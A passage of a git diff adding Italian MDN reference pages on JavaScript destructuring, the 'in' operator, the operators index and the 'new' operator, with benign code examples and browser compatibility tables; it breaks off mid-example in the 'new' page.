+<h3 id="Proprietà_calcolate_degli_oggetti_e_destrutturazione">Proprietà calcolate degli oggetti e destrutturazione</h3>
+
+<p>I nomi delle proprietà calcolate degli oggetti, come sugli <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer#Computed_property_names">object literals</a>, possono anche essere usate con la destrutturazione.</p>
+
+<pre class="brush: js">let key = "z";
+let { [key]: foo } = { z: "bar" };
+
+console.log(foo); // "bar"
+</pre>
+
+<h2 id="Specificazioni">Specificazioni</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-destructuring-assignment', 'Destructuring assignment')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("1.8.1") }}</td>
+   <td>14</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Nomi delle proprietà calcolate</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>14</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Operatore spread</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoDesktop("34") }}</td>
+   <td>12<sup>[1]</sup></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Caratteristica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Supporto base</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoMobile("1.0") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>8</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+  <tr>
+   <td>Nomi delle proprietà calcolate</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoMobile("34") }}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+  <tr>
+   <td>Operatore spread</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+   <td>{{ CompatGeckoMobile("34") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(49.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Richiede "Attiva le caratteristiche sperimentali di JavaScript" per essere abilitato sotto `about:flags`</p>
+
+<h2 id="Note_specifiche_a_Firefox">Note specifiche a Firefox</h2>
+
+<ul>
+ <li>Firefox fornisce un'estensione del linguaggio non standard in <a href="/en-US/docs/Web/JavaScript/New_in_JavaScript/1.7">JS1.7</a> per</li>
+ <li>la destrutturazione. Questa estensione è stata rimossa in Gecko 40 {{geckoRelease(40)}}. Vedi {{bug(1083498)}}.</li>
+ <li>Partendo con Gecko 41 {{geckoRelease(41)}} e per soddisfare le specifiche ES2015, gli schemi di destrutturazioni con le parentesi come <code>([a, b]) = [1, 2]</code> or <code>({a, b}) = { a: 1, b: 2 } </code>sono ora considerate invalide e quindi lanceranno un errore {{jsxref("SyntaxError")}}. Vedi <a class="external external-icon" href="http://whereswalden.com/2015/06/20/new-changes-to-make-spidermonkeys-and-firefoxs-parsing-of-destructuring-patterns-more-spec-compliant/">Jeff Walden's blog post</a> e {{bug(1146136)}} per ulteriori dettagli.</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Assignment_Operators">Operatori di assegnamento</a></li>
+ <li><a href="https://hacks.mozilla.org/2015/05/es6-in-depth-destructuring/">"ES2015 in profondità: Destrutturazioni" su hacks.mozilla.org</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/in/index.html b/files/it/web/javascript/reference/operators/in/index.html
new file mode 100644
index 0000000000..d6dcb196de
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/in/index.html
@@ -0,0 +1,198 @@
+---
+title: operatore in
+slug: Web/JavaScript/Reference/Operators/in
+tags:
+  - JavaScript
+  - Operatori
+  - Operatori Relazionali
+translation_of: Web/JavaScript/Reference/Operators/in
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L' operatore <strong><code>in</code> </strong>dà come ritorno <code>true</code> se la proprietà specificata si trova nell'oggetto preso in considerazione.</p>
+
+<p>Restituisce <code>false</code> se la proprietà è stata eliminata tramite <code>delete</code> ma non nel caso in cui sia stata inizializzata <code>undefined</code> dal programmatore.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><em>prop</em> in <em>nomeOggetto</em></pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>prop</code></dt>
+ <dd>Una stringa o simbolo che rappresenta il nome di una proprietà o indice di un array (i non-simboli verranno automaticamente convertiti in stringhe).</dd>
+</dl>
+
+<dl>
+ <dt><code>nomeOggetto</code></dt>
+ <dd>Nome di un oggetto.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>I seguenti esempi mostrano alcuni usi dell'operatore <code>in</code>.</p>
+
+<pre class="brush:js">// Array
+var alberi = ["sequoia", "lauro", "cedro", "quercia", "acero"];
+0 in alberi        // ritorna true
+3 in alberi        // ritorna true
+6 in alberi        // ritorna false, non ci sono proprietà in quell'indice su <em>alberi</em>
+"bay" in alberi    // ritorna false (devi specificare il
+                  // numero dell'indice, non il valore corrispondente a quell'indice)
+"length" in alberi // ritorna true (length è una proprietà degli array)
+Symbol.iterator in alberi // ritorna true (gli array sono iterabili, funziona solo in ES6+)
+
+// Oggetti predefiniti
+"PI" in Math          // ritorna true, "PI" è il nome di una proprietà dell'oggetto Math
+
+// Oggetti personalizzati
+var miaAuto = {marca: "Honda", modello: "Accord", anno: 1998};
+"marca" in miaAuto  // ritorna true
+"modello" in miaAuto // ritorna true
+</pre>
+
+<p>Devi specificare un oggetto sul lato destro dell'operatore <code>in</code>. Per esempio, puoi specificare una stringa creata con il costruttore String, ma non puoi specificare una stringa literal.</p>
+
+<pre class="brush:js">var colore1 = new String("verde");
+"length" in colore1 // ritorna true
+
+var color2 = "coral";
+// genera un errore (colore2 non è un oggetto String)
+"length" in colore2
+</pre>
+
+<h3 id="Usare_l'operatore_in_con_le_proprietà_deleted_o_undefined">Usare l'operatore <code>in</code> con le proprietà deleted o undefined</h3>
+
+<p>Se elimini una proprietà con l'operatore <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code>, l'operatore in ritorna <code>false</code> per quella proprietà.</p>
+
+<pre class="brush:js">var miaAuto = {marca: "Honda", modello: "Accord", anno: 1998};
+delete miaAuto.marca;
+"marca" in miaAuto;  // ritorna false
+
+var alberi = new Array("sequoia", "lauro", "cedro", "quercia", "acero");
+delete alberi[3];
+3 in alberti; // ritorna false
+</pre>
+
+<p>Se setti una proprietà ad {{jsxref("Global_Objects/undefined", "undefined")}} ma non la cancelli, l'operatore <code>in</code> darà come ritorno true per quella proprietà.</p>
+
+<pre class="brush:js">var miaAuto = {marca: "Honda", modello: "Accord", anno: 1998};
+miaAuto.marca = undefined;  //inizializzo manualmente la proprietà '<em>marca'</em> undefined
+"marca" in miaAuto;  // ritorna true, non è stato usato usato delete sulla proprietà
+delete miaAuto.marca;
+"marca" in miaAuto // return false, è stata eliminata la proprietà</pre>
+
+<p> </p>
+
+<p> </p>
+
+<p> </p>
+
+<pre class="brush:js">var alberi = new Array("sequoia", "lauro", "cedro", "quercia", "acero");
+alberi[3] = undefined;
+3 in alberi; // ritorna true
+</pre>
+
+<h3 id="Proprietà_ereditate">Proprietà ereditate</h3>
+
+<p>L'operatore <code>in</code> ritorna <code>true</code> per proprietà ereditate tramite prototipi.</p>
+
+<pre class="brush:js">"toString" in {}; // returns true
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-relational-operators', 'Relational Operators')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3', '#sec-11.8.7', 'The in Operator')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.4.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...in">for...in</a></code></li>
+ <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete" title="en-US/docs/JavaScript/Reference/Operators/Special/delete">delete</a></code></li>
+ <li>{{jsxref("Object.prototype.hasOwnProperty()")}}</li>
+ <li>{{jsxref("Reflect.has()")}}</li>
+ <li><a href="/en-US/docs/Enumerability_and_ownership_of_properties" title="/en-US/docs/Enumerability_and_ownership_of_properties">Enumerability and ownership of properties</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/index.html b/files/it/web/javascript/reference/operators/index.html
new file mode 100644
index 0000000000..9e257e3038
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/index.html
@@ -0,0 +1,282 @@
+---
+title: Expressions and operators
+slug: Web/JavaScript/Reference/Operators
+tags:
+  - JavaScript
+  - NeedsTranslation
+  - Operators
+  - TopicStub
+translation_of: Web/JavaScript/Reference/Operators
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>Questo capitolo documenta tutti gli operatori, espressioni e parole chiave del linguaggio JavaScript.</p>
+
+<h2 id="Espressioni_e_operatori_per_categoria">Espressioni e operatori per categoria</h2>
+
+<p>Per la lista alfabetica consultare la sidebar di sinistra</p>
+
+<h3 id="Espressioni_Primarie">Espressioni Primarie</h3>
+
+<p>Basic keywords and general expressions in JavaScript.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/this", "this")}}</dt>
+ <dd>The <code>this</code> keyword refers to the function's execution context.</dd>
+ <dt>{{jsxref("Operators/function", "function")}}</dt>
+ <dd>The <code>function</code> keyword defines a function expression.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/class", "class")}}</dt>
+ <dd>The <code>class</code> keyword defines a class expression.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/function*", "function*")}}</dt>
+ <dd>The <code>function*</code> keyword defines a generator function expression.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/yield", "yield")}}</dt>
+ <dd>Pause and resume a generator function</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/yield*", "yield*")}}</dt>
+ <dd>Delegate to another generator function or iterable object.</dd>
+ <dt>{{jsxref("Global_Objects/Array", "[]")}}</dt>
+ <dd>Array initializer/literal syntax.</dd>
+ <dt>{{jsxref("Operators/Object_initializer", "{}")}}</dt>
+ <dd>Object initializer/literal syntax.</dd>
+ <dt>{{jsxref("Global_Objects/RegExp", "/ab+c/i")}}</dt>
+ <dd>Regular expression literal syntax.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Array_comprehensions", "[for (x of y) x]")}}</dt>
+ <dd>Array comprehensions.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Generator_comprehensions", "(for (x of y) y)")}}</dt>
+ <dd>Generator comprehensions.</dd>
+ <dt>{{jsxref("Operators/Grouping", "( )")}}</dt>
+ <dd>Grouping operator.</dd>
+</dl>
+
+<h3 id="Left-hand-side_expressions">Left-hand-side expressions</h3>
+
+<p>Left values are the destination of an assignment.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Property_accessors", "Property accessors", "", 1)}}</dt>
+ <dd>Member operators provide access to a property or method of an object<br>
+ (<code>object.property</code> and <code>object["property"]</code>).</dd>
+ <dt>{{jsxref("Operators/new", "new")}}</dt>
+ <dd>The <code>new</code> operator creates an instance of a constructor.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/super", "super")}}</dt>
+ <dd>The <code>super</code> keyword calls the parent constructor.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Spread_operator", "...obj")}}</dt>
+ <dd>The spread operator allows an expression to be expanded in places where multiple arguments (for function calls) or multiple elements (for array literals) are expected.</dd>
+</dl>
+
+<h3 id="Increment_and_decrement">Increment and decrement</h3>
+
+<p>Postfix/prefix increment and postfix/prefix decrement operators.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A++", "#Increment")}}</dt>
+ <dd>Postfix increment operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "A--", "#Decrement")}}</dt>
+ <dd>Postfix decrement operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "++A", "#Increment")}}</dt>
+ <dd>Prefix increment operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "--A", "#Decrement")}}</dt>
+ <dd>Prefix decrement operator.</dd>
+</dl>
+
+<h3 id="Unary_operators">Unary operators</h3>
+
+<p>A unary operation is operation with only one operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/delete", "delete")}}</dt>
+ <dd>The <code>delete</code> operator deletes a property from an object.</dd>
+ <dt>{{jsxref("Operators/void", "void")}}</dt>
+ <dd>The <code>void</code> operator discards an expression's return value.</dd>
+ <dt>{{jsxref("Operators/typeof", "typeof")}}</dt>
+ <dd>The <code>typeof</code> operator determines the type of a given object.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Unary_plus")}}</dt>
+ <dd>The unary plus operator converts its operand to Number type.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Unary_negation")}}</dt>
+ <dd>The unary negation operator converts its operand to Number type and then negates it.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "~", "#Bitwise_NOT")}}</dt>
+ <dd>Bitwise NOT operator.</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "!", "#Logical_NOT")}}</dt>
+ <dd>Logical NOT operator.</dd>
+</dl>
+
+<h3 id="Arithmetic_operators">Arithmetic operators</h3>
+
+<p>Arithmetic operators take numerical values (either literals or variables) as their operands and return a single numerical value.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "+", "#Addition")}}</dt>
+ <dd>Addition operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "-", "#Subtraction")}}</dt>
+ <dd>Subtraction operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "/", "#Division")}}</dt>
+ <dd>Division operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "*", "#Multiplication")}}</dt>
+ <dd>Multiplication operator.</dd>
+ <dt>{{jsxref("Operators/Arithmetic_Operators", "%", "#Remainder")}}</dt>
+ <dd>Remainder operator.</dd>
+</dl>
+
+<h3 id="Relational_operators">Relational operators</h3>
+
+<p>A comparison operator compares its operands and returns a <code>Boolean</code> value based on whether the comparison is true.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/in", "in")}}</dt>
+ <dd>The <code>in</code> operator determines whether an object has a given property.</dd>
+ <dt>{{jsxref("Operators/instanceof", "instanceof")}}</dt>
+ <dd>The <code>instanceof</code> operator determines whether an object is an instance of another object.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;", "#Less_than_operator")}}</dt>
+ <dd>Less than operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;", "#Greater_than_operator")}}</dt>
+ <dd>Greater than operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&lt;=", "#Less_than_or_equal_operator")}}</dt>
+ <dd>Less than or equal operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "&gt;=", "#Greater_than_or_equal_operator")}}</dt>
+ <dd>Greater than or equal operator.</dd>
+</dl>
+
+<h3 id="Equality_operators">Equality operators</h3>
+
+<p>The result of evaluating an equality operator is always of type <code>Boolean</code> based on whether the comparison is true.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Comparison_Operators", "==", "#Equality")}}</dt>
+ <dd>Equality operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!=", "#Inequality")}}</dt>
+ <dd>Inequality operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "===", "#Identity")}}</dt>
+ <dd>Identity operator.</dd>
+ <dt>{{jsxref("Operators/Comparison_Operators", "!==", "#Nonidentity")}}</dt>
+ <dd>Nonidentity operator.</dd>
+</dl>
+
+<h3 id="Bitwise_shift_operators">Bitwise shift operators</h3>
+
+<p>Operations to shift all bits of the operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&lt;&lt;", "#Left_shift")}}</dt>
+ <dd>Bitwise left shift operator.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;", "#Right_shift")}}</dt>
+ <dd>Bitwise right shift operator.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&gt;&gt;&gt;", "#Unsigned_right_shift")}}</dt>
+ <dd>Bitwise unsigned right shift operator.</dd>
+</dl>
+
+<h3 id="Binary_bitwise_operators">Binary bitwise operators</h3>
+
+<p>Bitwise operators treat their operands as a set of 32 bits (zeros and ones) and return standard JavaScript numerical values.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "&amp;", "#Bitwise_AND")}}</dt>
+ <dd>Bitwise AND.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "|", "#Bitwise_OR")}}</dt>
+ <dd>Bitwise OR.</dd>
+ <dt>{{jsxref("Operators/Bitwise_Operators", "^", "#Bitwise_XOR")}}</dt>
+ <dd>Bitwise XOR.</dd>
+</dl>
+
+<h3 id="Binary_logical_operators">Binary logical operators</h3>
+
+<p>Logical operators are typically used with boolean (logical) values, and when they are, they return a boolean value.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Logical_Operators", "&amp;&amp;", "#Logical_AND")}}</dt>
+ <dd>Logical AND.</dd>
+ <dt>{{jsxref("Operators/Logical_Operators", "||", "#Logical_OR")}}</dt>
+ <dd>Logical OR.</dd>
+</dl>
+
+<h3 id="Conditional_ternary_operator">Conditional (ternary) operator</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Conditional_Operator", "(condition ? ifTrue : ifFalse)")}}</dt>
+ <dd>
+ <p>The conditional operator returns one of two values based on the logical value of the condition.</p>
+ </dd>
+</dl>
+
+<h3 id="Assignment_operators">Assignment operators</h3>
+
+<p>An assignment operator assigns a value to its left operand based on the value of its right operand.</p>
+
+<dl>
+ <dt>{{jsxref("Operators/Assignment_Operators", "=", "#Assignment")}}</dt>
+ <dd>Assignment operator.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "*=", "#Multiplication_assignment")}}</dt>
+ <dd>Multiplication assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "/=", "#Division_assignment")}}</dt>
+ <dd>Division assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "%=", "#Remainder_assignment")}}</dt>
+ <dd>Remainder assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "+=", "#Addition_assignment")}}</dt>
+ <dd>Addition assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "-=", "#Subtraction_assignment")}}</dt>
+ <dd>Subtraction assignment</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&lt;&lt;=", "#Left_shift_assignment")}}</dt>
+ <dd>Left shift assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;=", "#Right_shift_assignment")}}</dt>
+ <dd>Right shift assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&gt;&gt;&gt;=", "#Unsigned_right_shift_assignment")}}</dt>
+ <dd>Unsigned right shift assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "&amp;=", "#Bitwise_AND_assignment")}}</dt>
+ <dd>Bitwise AND assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "^=", "#Bitwise_XOR_assignment")}}</dt>
+ <dd>Bitwise XOR assignment.</dd>
+ <dt>{{jsxref("Operators/Assignment_Operators", "|=", "#Bitwise_OR_assignment")}}</dt>
+ <dd>Bitwise OR assignment.</dd>
+ <dt>{{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "[a, b] = [1, 2]")}}<br>
+ {{experimental_inline}} {{jsxref("Operators/Destructuring_assignment", "{a, b} = {a:1, b:2}")}}</dt>
+ <dd>
+ <p>Destructuring assignment allows you to assign the properties of an array or object to variables using syntax that looks similar to array or object literals.</p>
+ </dd>
+</dl>
+
+<h3 id="Comma_operator">Comma operator</h3>
+
+<dl>
+ <dt>{{jsxref("Operators/Comma_Operator", ",")}}</dt>
+ <dd>The comma operator allows multiple expressions to be evaluated in a single statement and returns the result of the last expression.</dd>
+</dl>
+
+<h3 id="Non-standard_features">Non-standard features</h3>
+
+<dl>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Legacy_generator_function", "Legacy generator function", "", 1)}}</dt>
+ <dd>The <code>function</code> keyword can be used to define a legacy generator function inside an expression. To make the function a legacy generator, the function body should contains at least one {{jsxref("Operators/yield", "yield")}} expression.</dd>
+ <dt>{{non-standard_inline}} {{jsxref("Operators/Expression_closures", "Expression closures", "", 1)}}</dt>
+ <dd>The expression closure syntax is a shorthand for writing simple function.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>ECMAScript 1st Edition.</td>
+   <td>Standard</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-11', 'Expressions')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-ecmascript-language-expressions', 'ECMAScript Language: Expressions')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>New: Spread operator, destructuring assignment, <code>super</code> keyword, Array comprehensions, Generator comprehensions</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Operator_Precedence">Operator precedence</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/operators/new/index.html b/files/it/web/javascript/reference/operators/new/index.html
new file mode 100644
index 0000000000..291917479e
--- /dev/null
+++ b/files/it/web/javascript/reference/operators/new/index.html
@@ -0,0 +1,186 @@
+---
+title: operatore new
+slug: Web/JavaScript/Reference/Operators/new
+tags:
+  - Espressioni di sinistra
+  - JavaScript
+  - Operatore
+translation_of: Web/JavaScript/Reference/Operators/new
+---
+<div>{{jsSidebar("Operators")}}</div>
+
+<p>L'<strong>operatore <code><font face="Consolas, Liberation Mono, Courier, monospace">new</font></code></strong> crea un'istanza di un tipo di oggetto definito dall'utente o di uno dei tipi di oggetto nativi che ha una funzione costruttore.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">new <em>constructor</em>[([<em>arguments</em>])]</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>constructor</code></dt>
+ <dd>Una funzione che specifica il tipo dell'oggetto istanziato.</dd>
+</dl>
+
+<dl>
+ <dt><code>arguments</code></dt>
+ <dd>Una lista di valori con i quali <code>constructor</code> sarà chiamato.</dd>
+</dl>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Creare un oggetto definito dall'utente richiede due step:</p>
+
+<ol>
+ <li>Definire il tipo di oggetto scrivendo una funzione.</li>
+ <li>Creare un'istanza dell'oggetto con <code>new</code>.</li>
+</ol>
+
+<p>Per definire un tipo di oggetto, crea una funzione per il tipo di oggetto che specifichi il suo nome e le sue proprietà. Un oggetto può avere una proprietà che è se stessa un oggetto. Vedi l'esempio sotto.</p>
+
+<p>Quando il codice <code>new <em>Foo</em>(...)</code> viene eseguito, ecco cosa accade:</p>
+
+<ol>
+ <li>Un nuovo oggetto viene creato ed eredita da <code><em>Foo</em>.prototype</code>.</li>
+ <li>La funzione costruttore <em>Foo</em> viene chiamata con gli argomenti specificati e con <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/this">this</a></code> legato all'oggetto appena creato. <code>new Foo </code>è identica a <code>new Foo()</code>, ovvero se nessun argomento è specificato, <em>Foo</em> viene chiamato senza argumenti.</li>
+ <li>L'oggetto ritornato dalla funzione costruttore diventa il risultato dell'intera espressione <code>new</code>. Se la funzione costruttore non ritorna esplicitamente un oggetto, viene invece usato l'oggetto creato nello step 1. (Normalmente i costruttori non ritornano un valore, ma possono scegliere di farlo se vogliono sovrascrivere il processo di creazione di un normale oggetto).</li>
+</ol>
+
+<p>Puoi sempre aggiungere una proprietà all'oggetto che hai creato precedentemente. Per esempio, la dichiarazione <code>car1.color = "black"</code> aggiunge una proprietà  <code>color</code> a <code>car1</code>, e gli assegna il valore di "<code>black</code>". Tuttavia, questo non influenza nessun altro oggetto. Per aggiungere una nuova proprietà a tutti gli oggetti dello stesso tipo, devi aggiungere la proprietà alla definizione del tipo di oggetto, in questo caso <code>Car</code>.</p>
+
+<p>Puoi aggiungere una proprietà condivisa ad un tipo di oggetto che hai definito prima usando la proprietà <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">Function.prototype</a></code>.</p>
+
+<p>Questo definisce una proprietà che è condivisa da tutti gli oggetti creati con quella funzione, piuttosto che solo da un'istanza di quel tipo di oggetto. Il seguente codice aggiunge una proprietà con il valore <code>null</code> a tutti gli oggetti di tipo <code>car, </code>e poi sovrascrive quel valore con la stringa "<code>black</code>" solo nell'oggetto istanza <code>car1.</code> Per altre informazioni, vedi <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/prototype">prototype</a>.</p>
+
+<p> </p>
+
+<pre class="brush: js">function Car() {}
+car1 = new Car();
+car2 = new Car();
+
+console.log(car1.color);    // undefined
+
+Car.prototype.color = "original color";
+console.log(car1.color);    // original color
+
+car1.color = 'black';
+console.log(car1.color);   // black
+
+console.log(car1.__proto__.color) //original color
+console.log(car2.__proto__.color) //original color
+console.log(car1.color)  // black
